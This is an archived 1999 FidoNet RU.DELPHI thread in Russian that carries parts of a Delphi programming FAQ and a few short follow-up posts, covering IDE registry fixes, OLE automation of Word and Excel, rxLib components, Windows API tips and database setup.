[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 260 of 341 - 249 + 269 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490806 16697 127.0.0.1 (5 Sep 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:06 GMT if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 261 of 341 - 250 + 270 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490807 16700 127.0.0.1 (5 Sep 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:07 GMT Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию -- на [42]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 262 of 341 - 245 + 271 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490808 16703 127.0.0.1 (5 Sep 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:08 GMT Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [48]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [49]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [50]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [51]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [52]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [53]http://www.blinkinc.com, WWPack32 [54]http://kolos.uni.lodz.pl/warezak, NeoLite [55]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [56]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [57]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [58]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 263 of 341 - 246 + 272 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490809 16706 127.0.0.1 (5 Sep 1999 00:20:09 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:09 GMT begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Авг 25 00:17:22 MSD 1999 Сгенерировано [59]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. ftp://195.161.18.8/RxLib/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#59_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#61_5 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#75_5 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#83_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#86_4 27. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#178_4 28. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#296_4 29. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#362_4 30. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#546_4 31. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#672_4 32. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#718_4 33. http://members.xoom.com/PolarisSoft/ 34. http://www.sawatzki.de/ 35. http://www.itecuk.com/delmag/thunk95.htm 36. http://delphi.da.ru/ 37. http://www.imagelib.com/ 38. http://einstein.ae.eng.ua.edu/nishita/index.htm 39. http://www.exceedsoft.com/ 40. http://www.geocities.com/SiliconValley/1142/ 41. http://www.signsoft.com/opengl 42. http://www.opengl.org/ 43. http://reality.sgi.com/mjk 44. http://www.scitechsoft.com/ 45. http://www.chami.com/tips/delphi/103096D.html 46. http://www.pbear.com/ 47. http://www.tsinet.ru/~vg 48. http://www.cyclic.com/ 49. http://alexm.here.ru/ 50. http://www.dic.ru/users/rusov/ 51. http://www.numega.com/ 52. http://www.listsoft.ru/programs/pr1520.htm 53. http://www.blinkinc.com/ 54. http://kolos.uni.lodz.pl/warezak 55. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 56. http://www.icl.ndirect.co.uk/petite/ 57. http://www.iconbazaar.com/ 58. http://www.rtfm.be/fpiette 59. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 264 of 341 + 266 From : Vic Ogi 2:5020/400 09 Sep 99 17:06:00 To : All Subj : D4.Приложение и разрешение экрана ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: "Vic Ogi" .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <37d7b110.0@news.ukrpack.net> From: "Vic Ogi" Reply-To: "Vic Ogi" Svetlana Burchalina wrote > У меня проблемка - клиент захотел, чтобы приложение работало под разные > разрешения экрана (640х480 и 800х600). > Подскажите, как проще и оптимальнее сделать это. > The TSizer component provides a means of keeping a form and its controls in proper proportion regardless of the run time screen resolution. For the most part, just dropping a TSizer component on each form and accepting the default property values, is all that is required. ......Hу и т.д. и т.п. если нет желания разбрасывать компоненты по форме вручную при изменении разрешения экрана. Впрочем, иногда без этого не обойтись. Вик --- ifmail v.2.14dev3 * Origin: Astroline (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 265 of 341 From : Eugene Kotlyarov 2:5058/26.9 10 Sep 99 17:52:00 To : Mike Semko Subj : Как изменить настройки экрана Win95/98 из Delphi 4 ──────────────────────────────────────────────────────────────────────────────── Hello Mike 10-Sep-99 03:47:37, Mike Semko wrote to All Subj: Как изменить настpойки экpана Win95/98 из Delphi 4 MS> Сабж MS> Имеется в виду изменение системного pазpешения ( напpимеp с 800x600 на MS> 640x480 ) и также изменение настpоек цвета. faq Q: Как узнать и поменять pазpешение экpана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; //Eugene --- Terminate 5.00/Pro * Origin: ... (2:5058/26.9) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 266 of 341 - 264 From : Barmin 2:5020/400 09 Sep 99 19:44:00 To : All Subj : D4.Приложение и разрешение экрана ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: postmaster@barmin.udm.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7r8knf$1g0h$6@lota.izhcom.ru> From: "Barmin" Svetlana Burchalina пишет в сообщении <37D79A4D.F9D07D6@cyborg.admin.tstu.ru> ... >У меня проблемка - клиент захотел, чтобы приложение работало под разные >разрешения экрана (640х480 и 800х600). > >Подскажите, как проще и оптимальнее сделать это. Посмотри на http://tax25.marine.su/dmitryb/RUS интересный компонент AutoPanel. При изменении размера автоматически масштабирует все расположенные на ней компоненты. = FAQ по 